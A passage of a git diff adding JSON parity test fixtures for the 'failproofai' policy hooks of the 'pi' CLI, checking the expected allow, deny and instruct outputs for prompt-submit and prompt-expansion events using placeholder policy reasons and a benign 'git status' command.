"{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..cd1c2139 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..303fc81a --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..fd2fc5f0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9622b902 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d460b466 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f9b4c882 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..81279870 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b24d6b3f --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..acf8b3c2 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2195bb50 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6b3007b5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8eafe513 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..334751a4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5fe6dc84 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..46758abd --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b62fb134 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0c727c51 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a738df71 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ 